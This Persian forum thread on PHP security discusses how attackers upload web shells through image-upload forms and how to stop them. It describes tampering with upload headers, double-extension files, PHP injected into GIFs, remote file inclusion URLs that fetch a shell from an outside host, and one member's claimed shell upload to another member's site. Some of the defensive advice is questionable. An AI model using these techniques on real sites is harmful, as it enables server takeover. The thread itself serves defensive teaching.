# زبان های اسکریپتی > PHP > امنیت در PHP >  آپلود شل و جلوگیری از آن

## رضا قربانی

با سلام و خسته نباشید خدمت همگی دوستان گل برنامه نویس

با اجازه آقای شهرکی که قبلا صحبت شده  امیدوارم که این تاپیک پاک نشه ، خواستیم یه قدم برنامه نویس های خودمون رو توی ایران بکشیم بالا . 
از مدیرای خوب سایت برنامه نویس تقاضا دارم اختلالی در این تاپیک ایجاد نکنند من و دیگر دوستان خیـــر ، آموزشی در مورد چگونگی هک کردن سایت به روش های خیلی ساده (کمی حرفه ای :ی )و نحوه جلوگیری از اون رو مطرح می کنیم  .

من نیتم خیره و با توجه به سابقه ای که دارم از مدیران گل درخواست می کنم که بذارید تاپیک یه منبع آموزشی خوب از بچه های ایران باشه ، می دونم اینجا انجمن برنامه نویسی هست و اینم بدونید یک برنامه نویس خوب باید یک هکر خوب باشه تا بتونه از خودش دفاع کنه ،

دزد خوب == نگهبان خوب   :لبخند گشاده!: 

چون من این راه رو یه بار رفتم و به سختی تونستم خودم رو بکشم بالا دوست دارم الکی عمر خودتون رو تلف نکنید و یک قدم خودتون رو بکشید جلو .

در مورد چگونگی آپلود شل Shell و هک سایت و نحوه جلوگیری از اون رو توسط کد php آموزش مختصر میدیم .

لطفا تقاضا هک نشه ، ممنون میشم  :لبخند گشاده!:  همه چی اماده اینجا هست ، چه خوب میشد یه قسمت برای هک و امنیت در قسمت PHP داشتیم .

هدف تاپیک (خیلی مختصر ولی عمیق) : 
هک کردن سایت ، نحوه جلوگیری از هک سایت
آپلود شل در سایت ، نحوه جلوگیری از آپلود شل در سایت
انواع هک کردن سایت ، نحوه جلوگیری از آن
هک شدن کاربر و نحوه جلوگیری از آن
....

*نحوه جلوگیری فقط به زبان php* و در بعضی مواقع تنظیمات سرور

بیشترین  هک ها در زبان PHP اتفاق افتاده ، نه به خاطر ضعف PHP  بلکه به خاطر ضعف برنامه نویس این اتفاق پیش میاد و خیلی از ارگان های دولتی رو آوردن به asp در صورتی که نمیدونن برنامه نویسشون برنامه نویس نبود ، نه تنها برنامه نویس نبود بلکه بازار کل برنامه نویس های php هم خراب میکنه .(دیگه در مورد برتری php  حرف نمی زنم و وارد بحث نمیشیم)
بارها شنیدم طرف بهم گفته آقای قربانی من با asp سایت می خوام و بعد میگه php  امنیت نداره و هر چی هم می گیم حالیش نمیشه ، مقصر همون برنامه نویس php هست که هیچی حالیش نبود.
php نرخش گرون تره به خاطر اینکه همه ی کارها رو باید برنامه نویس انجام بده و نون زحمت علمشو میخوره. هر کسی علمش بیشتر نونش بیشتر ...

خیلی از بچه ها این مدت هک میشن ، چهار تا بچه نه علم برنامه نویسی دارن نه هیچی با چند تا نرم افزار آماده سایت هک می کنن (هویج و خیار و اکانتیس و کاهو ....) و به خودشون میگن هکر !!! و برنامه نویس تازه کار که اصلا فکرش هم نمیکنه با چند تا دورک و ... که سایتش مورد حمله قرار بگیره به این در و اون در میزنه و تازه حرف های مشتری هم میوفته گردنش و هزار دردسر (خوب عزیزان من همون اول یاد بگیرید بعد سایت تحویل مشتری بدید).


بیست/ هفت/نود و دو تاپیک به صورت تستی همراه با تقاضا دوستان ایجاد کردم تا ببینیم آیا مدیران اجازه فعالیت بهم میدن تا من استارت بزنم یا خیر .  :متفکر:  (سه تا از مدیرا از این پست تشکر کنن اولین پست آموزشی زده میشه )



هدف فقط آموزش و بالا بردن سطح علمی به زبان خیلی دوستانه هست و خواهشمندم اختلال ایجاد نکنید ، درسته شوخی می کنم ولی جنبه داشته باشید ، اکثر بچه ها یا کارآموزام هستن یا دوستام یا همکارام ، آقای شهرکی هم پست های اسپم رو حذف کنید تا دسترسی به مطالب سایت راحت باشه ( دوستان اسپم رو بهم پیام خصوصی کنید)



پ . ن : یک هکر چو برنامه نویس نباشد هکر نیست ، برنامه نویس باید برنامه نویس باشد تا هکر برنامه نویس نباشد :ی

----------


## MMSHFE

قطعاً یکی از مهمترین گامها در بستن راههای نفوذ، شناختن اون راههاست. امیدوارم این تاپیک به خوبی پیش بره و دوستان هم درخواستهای نامعقول نداشته باشن چون این تاپیک هدفش آموزش هک به قصد تخریب نیست بلکه آسیب پذیریهای رایج و راههای جلوگیری از اونها رو به ترتیب مورد بررسی قرار میده. از مدیران ارشد سایت برنامه نویس هم تقاضا میکنم این تاپیک رو مسدود/غیرفعال/قفل نکنن تا روالش رو بخوبی طی کنه. موفق باشید.

----------


## AliRezaPro

آقای قربانی انشالله یک کار ادامه دار را استارت کرده باشید و به هدفتون که بالا رفتن سطح آگاهی بچه های برنامه نویس  است برسید . موفق باشید

----------


## رضا قربانی

با سلام خدمت همگی دوستان برنامه نویس

با کمی تخیر و شرمنده از دوستانی که پیام دادن و منتظر موندن تا من تاپیک رو استارت بزنم .
به دلیل مشکلات کاری این روزها خیلی کمتر می تونم وارد سایت برنامه نویس بشم .
از مدیر محترم تقاضا دارم اگر امکانش هست پست هایی که حذف شدن رو به طور کامل حذف کنید تا مطالب راحت تر در اختیار دوستان قرار بگیره .


اولین روش : 01 

اولین و راحت ترین روشی که سایت هک میشه توسط افزونه مرورگر فایرفاکس به نام Live Http Headers هست که هر بچه هکری تست می کنه و سایت قربانی رو می ترکونه .

*Live Http Headers :* با هر بار ارسال کوئری به سرور یکسری هدرهایی ارسال می کنه که شما به راحتی می تونید اونارو تغییر بدید .
این افزونه رو دانلود و بر روی مرورگرتون نصب کنید و همانند فیلم آموزشی که برای شما تهیه کردم عمل کنید تا از اینگونه حمله در امان باشید .

*روش هک کردن :*
حجم فیلم 15 مگابایت : http://www.amolboresh.com/cnc_01.zip 
با km player قابل پخشه



*روش جلوگیری :* 
1 : هیچ گاه فایل تصویر رو مستقیما(خود تصویر) به فولدری هدایت نکنید ، 
2 : توسط توابع GD  عکس رو آپلود کنید می تونید به راحتی از اینگونه حمله در امان باشید
3 : در حد امکان از تابع move_uploaded_file استفاده نکنید
و ...


در اولین فرصت ،  آموزش بعدی رو براتون ضمیمه می کنم . 
پست های Spam رو به من پیام خصوصی کنید تا بهتون جواب بدم.
به امید رشد علمی برنامه نویس های دوست داشتنی
موفق و پیروز باشید.

----------


## engmmrj

یک سوال داشتم !
اگر  فایل ها Rename شود چه طوری  میشه فهمید اسم فایل چیست تا فایل رو اجرا کرد ؟

----------


## nadi_1368

> *روش جلوگیری :* 
> 1 : هیچ گاه فایل تصویر رو مستقیما(خود تصویر) به فولدری هدایت نکنید ، 
> 2 : توسط توابع GD  عکس رو آپلود کنید می تونید به راحتی از اینگونه حمله در امان باشید
> 3 : در حد امکان از تابع move_uploaded_file استفاده نکنید
> و ...


 بسیار ممنون

چندتا سوال داشتم

ممنون اگه پاسخ دهید

1.برای آپلود سایر فایل ها چگونه عمل کنیم؟(مثلا zip,psd,...)
2.اگر به جای type چک کنیم mimeTypes فایل چک کنیم چطور؟
3.اگه فایل هارو تو یه شاخه قبل از پوشه اصلی آپ کنیم....

----------


## رضا قربانی

> یک سوال داشتم !
> اگر  فایل ها Rename شود چه طوری  میشه فهمید اسم فایل چیست تا فایل رو اجرا کرد ؟


با *کراول* های موجود این امکان وجود داره ، یه کراول نوشتم در اسرع وقت براتون میذارم ، در کل با کمی دست و پنجه نرم کردن با فایل و چند بار آپلود کردن به راحتی می تونید فایلتون که ReName شده رو بکشید بیرون



> 1.برای آپلود سایر فایل ها چگونه عمل کنیم؟(مثلا zip,psd,...)
> 2.اگر به جای type چک کنیم mimeTypes فایل چک کنیم چطور؟
> 3.اگه فایل هارو تو یه شاخه قبل از پوشه اصلی آپ کنیم....


ما هاستینگ خودمون رو صفر در نظر می گیریم و الآن فقط مربوط به کد نویسی خودمون میشه (فایل ها چه در فولدر اصلی باشه شاخه قبلی باشه هر کجا باشه شل وقتی آپلود شه با کمی دستور اچ تی اکسس به راحتی میشه بهش نفوذ کرد)
در مورد mimeTypes هم نظر خوبیه
و در آخر در اولین فرصت کد نحوه جلوگیری رو براتون میذارم تا استفاده کنید .

موفق باشید

----------


## MMSHFE

MIME Type خیلی هم معتبر نیست چون باز هم از روی پسوند داره تصمیم میگیره. میتونید با Rename کردن یک فایل اجرایی و تبدیل پسوند به jpg. و چک کردن اندیس type از آرایه FILES_$ این موضوع رو چک کنید.

----------


## abolfazl-z

اساتید محترم 

اگر ما بیاییم نام فایل رو بگیریم و پسوند اش رو دربیاریم و سپس دو حالت داره :

یا پسوند داره :
   اگر پسوند موردنظر ما بود خوب که هیچی !
   اگر نبود فایل رو آپلود نمی کنیم  و خطای مربوطه رو نشون میدیم!
یا نداره : 
 خطای مربوطه رو نشون میدیم!

این مشکل حل میشه دیگه ؟

در کل توی دنیای PHP باید هر چی ورودی غیر امن داشته باشیم بررسی لازم و دقیق انجام بشود !

آیا ورودی غیر امن به غیر از ورودی کاربر شامل ورودی دیگر هم میشه ؟

----------


## engmmrj

> اساتید محترم 
> 
> اگر ما بیاییم نام فایل رو بگیریم و پسوند اش رو دربیاریم و سپس دو حالت داره :
> 
> یا پسوند داره :
>    اگر پسوند موردنظر ما بود خوب که هیچی !
>    اگر نبود فایل رو آپلود نمی کنیم  و خطای مربوطه رو نشون میدیم!
> یا نداره : 
>  خطای مربوطه رو نشون میدیم!
> ...


فیلم آموزشی که *رضا قربانی* 	    				تهیه کرده را ببینی متوجه میشی !

----------


## abolfazl-z

> فیلم آموزشی که *آقای رضا قربانی*                         تهیه کرده را ببینی متوجه میشی !


بنده فیلم را مشاهده کردم فقط نحوه نفوذ بود !

الان جواب سوال من ( آیا ورودی غیر امن به غیر از ورودی کاربر شامل ورودی دیگر هم میشه ؟) داخل فیلم بود ؟  :متفکر:

----------


## engmmrj

> بنده فیلم را مشاهده کردم فقط نحوه نفوذ بود !
> 
> الان جواب سوال من ( آیا ورودی غیر امن به غیر از ورودی کاربر شامل ورودی دیگر هم میشه ؟) داخل فیلم بود ؟


اگر دقت کرده باشید ایشون یک فایل .jpg آپلود کردن که جز فایل های مجاز می باشد که از طریق این فایل تونستن فایل php رو آپلود کنن  :متفکر:

----------


## MMSHFE

کلاً هر چیزی که خودتون تولید نکردین رو باید Validate کنید. مثلاً اگه  محتوای یک صفحه از یک سایت دیگه رو میخونید و توی دیتابیس ذخیره میکنید،  باید Escape بشه یا مثلاً فرمها رو چک کنید که ازطریق سایت خودتون Submit  شده باشن. برای مثال، توی فرمتون یک مقدار خاص رو (مثلاً Session ID) توی  یک متغیر سشن یا کوکی ذخیره کنید و توی صفحه مقصد فرم، چک کنید که اون  مقدار خاص وجود داره و با Session ID فرم موردنظر یکیه یا نه و بعد از  پردازش فرم هم اون مقدار رو از سشن حذف کنید. اینطوری کسی نمیتونه ازطریق  سایت خودش مقادیری رو به سایت شما ارسال کنه (یکی از راههای دور زدن  CAPTCHA و موارد امنیتی مشابه برای انجام حملاتی مثل Bruteforce و...  همینه). حتی اگه مقداری رو خودتون تولید کردین و توی فرم بصورت مخفی  گذاشتین که با Submitشدن، برای صفحه مقصد ارسال بشه، باز هم باید اون رو  توی صفحه مقصد Validate کنید چون کاربر میتونه با ابزارهایی مثل Firebug  و... اون رو دستکاری کنه.

----------


## MMSHFE

در کل استناد به پسوند یا MIME Type خوبه و بد نیست ولی به شرطی که علاوه بر اون، چند کار دیگه هم انجام بدیم:
1- در قسمت اسم فایل (نه پسوند) هرچی کارکتر . هست به یک کارکتر دیگه تبدیل یا کلاً حذف کنیم تا فایل، چند پسوندی نباشه (افزونه mod_php آپاچی در این مورد باگ داره).
2- حتی الأمکان فایل رو از فیلترهای مربوطه (مثل GD و...) بگذرونیم و ازطریق اونها محتوا رو خونده و دوباره یک فایل جدید روی سرور بسازیم نه اینکه با copy و move_uploaded_file و... دقیقاً همون فایلی که آپلود شده رو به پوشه آپلود منتقل کنیم.
3- مجوزهای خطرناک (بطور خاص Execute) رو از فایلهای پوشه آپلود بگیریم.

----------


## refugee

من یه سوال داشتم :

اقا رضا اون فایل رو اپ کردن با پسوند .jpg بعدش سرور لوکال بود به همه جاش دسترسی داشتن خودشون . اسم فایلم خودشون دیدن دیگه و اونجا تو مرورگر نوشتن و شل براش باز شد . 

اگر دقت کرده باشید اسم فایل بود shell.jpg که توسط اون ابزارک فایری فاکس تبدیلش کرد به shell.php (* اما اسم فایل تو سرور shell.php نبود یکم مخلفاط هم داشت مثلا این shell.php_1141977502.php خب این یعنی الان به روت دسترسی داشته و دیده که اسم فایل چی بود پس وقتی به روت دسترسی نداشته باشه همون shell.php رو مینویسه و براش نمیاره دیگه ... )

اما سوالم اینه که وقتی ما تو هاست به فایل ها یه دسترسی میدیم ( مثلا 444 / 644 و .. ) خب حق خواندن و نوشتن رو تو بعضی دسترسی ها نمیدیم به کاربر پس چطوری این ابزارک که معرفی کردن دسترسی پیدا میکنه به روت سایت و نام فایل رو عوض میکنه ؟

اگه اینجوری باشه که نمیشه جلوشو گرفت . غیر اینه ؟

----------


## eshpilen

> افزونه mod_php آپاچی در این مورد باگ داره.


باگ؟
مهندس مطمئنی باگه؟
بنده فکر میکنم یک feature باشه.

----------


## MMSHFE

این feature محسوب میشه که اسکریپت رو به اسم user.php.jpg آپلود کنیم و وقتی عکس رو درخواست کنیم، اسکریپت PHP رو اجرا کنه؟

----------


## omidabedi

> من یه سوال داشتم :
> 
> اقا رضا اون فایل رو اپ کردن با پسوند .jpg بعدش سرور لوکال بود به همه جاش دسترسی داشتن خودشون . اسم فایلم خودشون دیدن دیگه و اونجا تو مرورگر نوشتن و شل براش باز شد . 
> 
> اگر دقت کرده باشید اسم فایل بود shell.jpg که توسط اون ابزارک فایری فاکس تبدیلش کرد به shell.php (* اما اسم فایل تو سرور shell.php نبود یکم مخلفاط هم داشت مثلا این shell.php_1141977502.php خب این یعنی الان به روت دسترسی داشته و دیده که اسم فایل چی بود پس وقتی به روت دسترسی نداشته باشه همون shell.php رو مینویسه و براش نمیاره دیگه ... )
> 
> اما سوالم اینه که وقتی ما تو هاست به فایل ها یه دسترسی میدیم ( مثلا 444 / 644 و .. ) خب حق خواندن و نوشتن رو تو بعضی دسترسی ها نمیدیم به کاربر پس چطوری این ابزارک که معرفی کردن دسترسی پیدا میکنه به روت سایت و نام فایل رو عوض میکنه ؟
> 
> اگه اینجوری باشه که نمیشه جلوشو گرفت . غیر اینه ؟


با crawl کردن سایت میشه پوشه هارو پیدا کرد اما rename کردن خیلی کمک میکنه و کلا همه ی این ها بسته به این هست که کل امنیت رو تامین کنیم.مثلا فرم اپلودمون هم قوی باشه که بجای عکس فایل htaccess اپلود نکنه دسترسی پوشه هارو تغییر بده.

یه صورت دیگه هم میشه اینکه الگوریتم rename دستی باشه و از هش و .... استفاده نشده باشه.مثلا اگر شما بیاید تاریخ روز + ساعت رو بهش اضاف کنید هکر با چندبار اپلود کردن و تحلیل اسم فایل هایی که بصورت درست اپلود شده میتونه اینو متوجه بشه یا مثلا شما یه عدد رندوم از 1 تا 100 رو به تاریخ و ساعت اضاف کنید که مطمئن تر بشید خب نشد نداره اما هکر رو یکم اذیت میکنه و مجبور یا بشینه دستی 1تا50 رو اضاف کنه یا یه رباط php مینویسه که کارت ساختس دیگه

از همه ی اینا گذشته گوگل رو دست کم نگیرید.

----------


## omidabedi

حتی با بعضی باگ ها میشه یه عکس اپلود کرد با فرمت gif بعد توش یه کد php باشه که یه فرم اپلود بسازه و چون توی سرور انجام میشه دیگه rename نمیشه پس دسترسی بهش اسون میشه و سپس از طریق فرم اپلود بتونین شلتون رو با هر پسوندی که دوست دارید اپلود کنید

----------


## refugee

> با crawl کردن سایت میشه پوشه هارو پیدا کرد اما rename کردن خیلی کمک میکنه و کلا همه ی این ها بسته به این هست که کل امنیت رو تامین کنیم.مثلا فرم اپلودمون هم قوی باشه که بجای عکس فایل htaccess اپلود نکنه دسترسی پوشه هارو تغییر بده.
> 
> یه صورت دیگه هم میشه اینکه الگوریتم rename دستی باشه و از هش و .... استفاده نشده باشه.مثلا اگر شما بیاید تاریخ روز + ساعت رو بهش اضاف کنید هکر با چندبار اپلود کردن و تحلیل اسم فایل هایی که بصورت درست اپلود شده میتونه اینو متوجه بشه یا مثلا شما یه عدد رندوم از 1 تا 100 رو به تاریخ و ساعت اضاف کنید که مطمئن تر بشید خب نشد نداره اما هکر رو یکم اذیت میکنه و مجبور یا بشینه دستی 1تا50 رو اضاف کنه یا یه رباط php مینویسه که کارت ساختس دیگه
> 
> از همه ی اینا گذشته گوگل رو دست کم نگیرید.


امید جان اسکن کردن و پیدا کردن پوشه ها خب میگیم کاری نداره و امکان پذیره . ولی وقتی دسترسی به نوشتن را نداره چطوری میخواهد از طریق اون ابزارک پسوند رو عوض کنه ؟
اصلا ببینم شما الان میتونی تو فایل های همین انجمن یا وبسایت های دیگه حتی سایت خودم ( asila.ir ) اپلود هم داره . فایلی رو بدون اجازه دسترسی تغییر نام بدی‌؟ اگه اینجوری باشه که دیگه امنیت معنی نداره . هر کسی توسط اون ابزارک میتونه بره داخل هر سایتی فایل هاشو تغییر نام بده . 

من سوالم اینه که چطوری بدون اجازه دسترسی وارد روت سایت میشه اون ابزارک ؟ 

* برای راحل هم میتونیم این روش رو استفاده کنیم ؟
روش : برای این کار شل رو به عکس تزریق کردن یعنی الان عکس اینجوری باید باشه (shell.php.jpg) میشه قبل اینکه اپلود کنه تشخیص بدیم دو پسونده است ؟ یا اصلا جوری تعریف کنیم که فقط یک نقطه (.) اخر پسوند داشته باشه و خلاص ( دقیقا مثل ولیدیت کردن ایمیل و ادرس سایت )

----------


## omidabedi

> امید جان اسکن کردن و پیدا کردن پوشه ها خب میگیم کاری نداره و امکان پذیره . ولی وقتی دسترسی به نوشتن را نداره چطوری میخواهد از طریق اون ابزارک پسوند رو عوض کنه ؟
> اصلا ببینم شما الان میتونی تو فایل های همین انجمن یا وبسایت های دیگه حتی سایت خودم ( asila.ir ) اپلود هم داره . فایلی رو بدون اجازه دسترسی تغییر نام بدی‌؟ اگه اینجوری باشه که دیگه امنیت معنی نداره . هر کسی توسط اون ابزارک میتونه بره داخل هر سایتی فایل هاشو تغییر نام بده . 
> 
> من سوالم اینه که چطوری بدون اجازه دسترسی وارد روت سایت میشه اون ابزارک ؟ 
> 
> * برای راحل هم میتونیم این روش رو استفاده کنیم ؟
> روش : برای این کار شل رو به عکس تزریق کردن یعنی الان عکس اینجوری باید باشه (shell.php.jpg) میشه قبل اینکه اپلود کنه تشخیص بدیم دو پسونده است ؟ یا اصلا جوری تعریف کنیم که فقط یک نقطه (.) اخر پسوند داشته باشه و خلاص ( دقیقا مثل ولیدیت کردن ایمیل و ادرس سایت )



ببین اون ماژول پسوند رو روی سرور شما که عوض نمیکنه.http live header میاد header هایی که رد و بدل میشه رو نمایش میده خب هکر میاد اول shell.php.jpg اپلود میکنه هدرش توی این ذخیره میشه
بار دوم هکر میاد توی header فرمت فایل رو عوض میکنه و باز header رو ارسال میکنه و چون protection نداره برنامه اینو هم معتبر میدونه و اپلود میکنه.حالا فرض کنید بجای .php بزاره .htaccess تست نکردم که میشه اما خب احتمالا شدنیه حالا دسترسی پوشتو هم میکنه 777 یا مثلا 755

----------


## refugee

> ببین اون ماژول پسوند رو روی سرور شما که عوض نمیکنه.http live header میاد header هایی که رد و بدل میشه رو نمایش میده خب هکر میاد اول shell.php.jpg اپلود میکنه هدرش توی این ذخیره میشه
> بار دوم هکر میاد توی header فرمت فایل رو عوض میکنه و باز header رو ارسال میکنه و چون protection نداره برنامه اینو هم معتبر میدونه و اپلود میکنه.حالا فرض کنید بجای .php بزاره .htaccess تست نکردم که میشه اما خب احتمالا شدنیه حالا دسترسی پوشتو هم میکنه 777 یا مثلا 755



خب حالا بنظرت روش جلو گیری چیست ؟ 
ولی فکر نکنم .htaccess بشه اپ کرد . (‌ راستی رو فایل من تست کردی :لبخند گشاده!: ، ای پیت افتاده ها الان میدمت پلیس فتا  :قهقهه:     )

----------


## omidabedi

> خب حالا بنظرت روش جلو گیری چیست ؟ 
> ولی فکر نکنم .htaccess بشه اپ کرد . (‌ راستی رو فایل من تست کردی، ای پیت افتاده ها الان میدمت پلیس فتا     )



داداش بیا برای نمونه الان اینو برات شل اپلود کردم فقط برای نمونه.
یه عکس gif رو اپلود کردم توش کد php اینجکت کردم که یه فرم اپلود بسازه با اون شل رو گذاشتم.

ادرس عکس : 
**************

ادرس فرم  ساخته شده : 
**********************
ادرس شل که بصورت incluse از یه سایت دیگه برداشتم:
****************************************

----------


## omidabedi

> خب حالا بنظرت روش جلو گیری چیست ؟ 
> ولی فکر نکنم .htaccess بشه اپ کرد . (‌ راستی رو فایل من تست کردی، ای پیت افتاده ها الان میدمت پلیس فتا     )


جلوگیریش هم همون مواردی هست که اقای شهرکی و دوستان گفتن
با توابع GD فایل رو بازنویسی کنید که این کد ها اجرا نشه

و هدر هم باید چک بشه دیگه فکر کنم چونکه دیدم بعضی مواقع توی هدر که تغییر میدیم ایراد میگیره

----------


## eshpilen

> این feature محسوب میشه که اسکریپت رو به اسم user.php.jpg آپلود کنیم و وقتی عکس رو درخواست کنیم، اسکریپت PHP رو اجرا کنه؟


بله فکر میکنم.
موضوعش هم کلا به آپاچی مربوط میشه نه PHP/mod_php.
میشه گفت اینکه کسی user.php.jpg رو آپلود کنه و از این طریق حفرهء امنیتی بوجود بیاد یه مورد خاص ناخواسته است که برنامه نویس باید آگاه باشه و جلوش رو بگیره. وگرنه این ویژگی در کل میتونه مفید باشه (نه فقط هم درمورد PHP). یعنی اینطوری ما میتونیم مشخص کنیم که یک فایل در چند مرحله بوسیلهء چند ماجول (مفسر/پارسر و غیره) و handler پردازش بشه.
همین user.php.jpg هم ممکنه اصلا بحث آپلود نباشه و خود برنامه نویس بعنوان جزیی از برنامش این فایل رو گذاشته باشه. یعنی فایل در نهایت محتویات یک تصویر رو به مرورگر ارسال میکنه، اما قبلش توسط PHP هم پردازش میشه (که احتمالا اون عکس هم توسط PHP تولید میشه). حالا طرف ممکنه به هر علتی خواسته پسوند jpg داشته باشه بجای php. بهرحال این یک انعطاف و گزینه هست که میتونه بعضی جاها مفید باشه و کاربرد داشته باشه. هرچند با htaccess هم میشه کار کرد در چنین مواردی (اما بازم روش اول راحتتره و شاید در بعضی موارد انعطاف بیشتری هم داشته باشه).
حالا شما فرض کن اصلا یک فایل و داستان دیگری بود مثلا فایلی که در چند مرحله باید توسط چند ماجول آپاچی پردازش بشه؛ مثلا file.x.z. این فایل میتونه اول بوسیلهء handler ای که فایلهای نوع پسوند x رو پردازش میکنه پردازش بشه و بعد بوسیلهء ماجول دیگری که فایلهای نوع z رو پردازش میکنه.
البته این استنباط بنده بود و ازش مطمئن نیستم؛ برای بدست آوردن سند معتبر باید تحقیق بیشتری کرد.
بهرحال در اینجا توضیحاتی داده که نشون میده خودشون میدونن جریان چیه و اون رو یک باگ نمیدونن: http://httpd.apache.org/docs/2.2/mod...ml#multipleext
ضمنا در دنیای ویندوز شاید پسوند بیش از یکی کاربردی نداشته باشه، اما در دنیای لینوکس حداقل یک مورد که خود بنده مطلع هستم فایلهای tar.gz هست برای مثال، که دو پسوند دارن و هردوی این پسوندها برای سیستم عامل و برنامه های مربوطه معنادار هستن. البته این پسوند رو میشه به tgz هم مخفف کرد که یک پسوند بشه.
البته کلا فکر نمیکنم استفاده از چند پسوند متداول باشه و احتمالا این موارد هم از نوع Historic هستن و شاید Deprecated باشن، اما بهرصورت وجود دارن.

----------


## refugee

سلام ؛

برای جلوگیری از این روش هک , امکانش است سمت سرور توسط php از عکسی که کاربر میذاره اپلود بشه ( شاید شل باشه ) بجای اپلود عکس ازش یک عکس دیگه بگیریم ( اصلا میشه اینکارو کرد با php ؟ ) و اون عکسی که گرفتیم رو اپلود کنیم . اینجوری دیگه شل اپلود نمیشه و حذف میشه بعد عکس گرفتن .

درسته ؟ یا اشتباه است ؟ ج بدین

----------


## MMSHFE

بله میشه با GD اینکار رو انجام داد و کدهای Injectشده حذف میشن. من خودم برای آپلود از همین روش استفاده میکنم.

----------


## abolfazl-z

> بله میشه با GD اینکار رو انجام داد و کدهای Injectشده حذف میشن. من خودم برای آپلود از همین روش استفاده میکنم.


حذف میشود یا تایع خطا میدهد ؟

----------


## MMSHFE

اگه کلاً تصویری وجود نداشته باشه و کد باشه، یک تصویر سیاه تولید میشه ولی بطور کلی توی تصویر نهایی کد وجود نخواهد داشت. تا جایی که چک کردم خطا نمیده.

----------


## abolfazl-z

> اگه کلاً تصویری وجود نداشته باشه و کد باشه، یک تصویر سیاه تولید میشه ولی بطور کلی توی تصویر نهایی کد وجود نخواهد داشت. تا جایی که چک کردم خطا نمیده.


من که الان تست کردم دیدم در بعضی مواقع خطا میدهد و در بعضی مواقع خیر !

اگر کد های PHP به اخر عکس اضافه بشوند هیچ خطایی نمیدهد(باز ممکنه خطا بگیرد) و کد PHP را پاک میکند ولی اگر در جایی وارد شوند که ساختار عکس رو بهم بزند خطا میدهد درکل باید کنترل خطا هم شود.

----------


## omidabedi

یکی دیگه از مواردی که میشه باهاش یک شل رو روی یک سرور اجرا کرد این هست که بعضی مواقع برنامه نویس اطلاعاتی رو در صفحه include میکنه یا داده هایی رو از جایی با متد post و get ارسال میکنه و بدون چک کردن دوباره در صفحه ی مقصد استفاده میکنه.اینجاست که میشه ادرس شل رو از یه سرور دیگه بعنوان داده به اسکریپت بدیم و اون رو اجرا میکنه.به همین سادگی.

مثل:

example.com?page=mmm.com/shell.txt

example.com?inc=mmm.com/shell.txt



برای متد post هم صفحه ی مبدا رو پیدا میکنیم اگر که داده ها چک نشه امکان پذیره اگر بشه از این طریق نمیشه اما ممکنه توی header بشه بفرستی.

----------


## omidabedi

توی html5 یک نمونه data storage هست که گفته میشه بجای کوکی ازش استفاده کرد که محدودیت حجمی نداره.
از این طریقم بسته به اسکریپت میشه شل رو اجرا کرد فکر کنم.ندیدم تاحالا اما.

کلا کار نکردیم با این نوع data storage اما گفته که امنیتش بالا هست نسبت به کوکی

یکی یه تستی بزنه بد نیست

----------


## metal gear solid 4

توی این تاپیک درسته راه حل ها رو فقط از طریق خود PHP توضیح دادید. اما میشه از طریق htaccess هم جلوی آپلود شل رو گرفت. یا حتی اگر شل هم شد نشه به پسوندهای php درون پوشه ی آپلود دسترسی مستقیم داشت.

----------


## omidabedi

> توی این تاپیک درسته راه حل ها رو فقط از طریق خود PHP توضیح دادید. اما میشه از طریق htaccess هم جلوی آپلود شل رو گرفت. یا حتی اگر شل هم شد نشه به پسوندهای php درون پوشه ی آپلود دسترسی مستقیم داشت.


اگه فایل htaccess اپلود کنن چی؟

----------


## metal gear solid 4

> اگه فایل htaccess اپلود کنن چی؟


عنوان تاپیک آپلود فایل شل بود. منم راجع به جلوگیری از اجرا شدن فایل های PHP استفاده از htaccess رو پیشنهاد دادم. اصولاً با htaccess نمیشه از آپلودها جلوگیری کرد. برخی کارا باید توی همون کدنویسی انجام بگیره.

----------


## omidabedi

> عنوان تاپیک آپلود فایل شل بود. منم راجع به جلوگیری از اجرا شدن فایل های PHP استفاده از htaccess رو پیشنهاد دادم. اصولاً با htaccess نمیشه از آپلودها جلوگیری کرد. برخی کارا باید توی همون کدنویسی انجام بگیره.



برای اجرا شدن شل حتی اگر هم اپلود کرده باشه محدودیت های امنیتی بازم وجود داره مثل ارور 500 و امثال این.مثل htaccess و برای هر کدومشونم bypass و راه در رو وجود داره.فقط نمیشه به یک چیز اتکا کرد
همه ی اینا بهم ربط داره نمیشه که بگیم بحثمون فقط فلانه که

----------


## MMSHFE

یک راه خیلی ساده ولی کارآمد هم اینه که پوشه آپلود بالاتر از public_html باشه.

----------


## ali.webdesign

دوستان این تاپیک غیر فعال شده؟؟؟

فقط یک آموزش؟

----------


## dsnweb

مرجع بزرگ آموزش امنیت ، هک ، برنامه نویسی ، طراحی سایت  ****************** دیزان وب *************** ادرس :  http://dsnweb.host-ir.ir

----------


## sarapepors

سلام
برای آپلود تصاویر از توابع gd  استفاده میکنیم اما اگر بخوایم فایل های دیگه رو مثل rar ،zip یا pdf آپلود کنیم به چه صورت باید این کار رو انجام بدیم؟
یه سوال هم دارم از دوستان فایل php  که پسوندش تغییر کرده یعنی mimeType هم براش عوض میشه ؟ فرمتش بشه jpg  نوع مایم هم میشه image/jpeg ؟
متشکرم

----------


## omidabedi

> سلام
> برای آپلود تصاویر از توابع gd  استفاده میکنیم اما اگر بخوایم فایل های دیگه رو مثل rar ،zip یا pdf آپلود کنیم به چه صورت باید این کار رو انجام بدیم؟
> یه سوال هم دارم از دوستان فایل php  که پسوندش تغییر کرده یعنی mimeType هم براش عوض میشه ؟ فرمتش بشه jpg  نوع مایم هم میشه image/jpeg ؟
> متشکرم


برای هر فرمتی که قرار هست اپلود بشه باید چیزهای خاصی چک بشه.چون شل رو حتی میشه توی فایل .mp3 و TIF , .tar.gz و ... تزریق کرد.
هر فایلی یه 
header داره که ار قسمت content-type,
MIME TYPE مشخص میکنه که فایل چی هست و .... 
با تغییر پسوند MIME TYPE تغییر نمیکنه

برای اپلود هم بهترین روش اینه که فایل هارو توی پوشه ی قبل از public_html اپلود کنید و دسترسی مستقیم هم ندید.فایل حتما rename بشه

** منظور از دسترسی مسقیم این هست که فایل رو به صفحه ای درون سایت اضاف نکنید**

----------


## MMSHFE

MIME TYPE از روی پسوند تشخیص داده میشه!

----------


## omidabedi

> MIME TYPE از روی پسوند تشخیص داده میشه!


خب بس جرا وقتي با وجود اينكه بسوند يه فايل رو عوض ميكنيم بازم توي نمايشش تاثيري نداره.خب از كجا ميفهمه كه بسوند اشتباست يا اينكه اولويت هدر فايل هست يا نام و بسوند(هر فايل و هرجا نه البته.اما با فرمت jpg خودم تست كردم.)?يعني دستي هم بسوند فايل رو عوض كنيم mime type عوض ميشه?تست نكردم اما فك نكنم اينجوري باشه
...
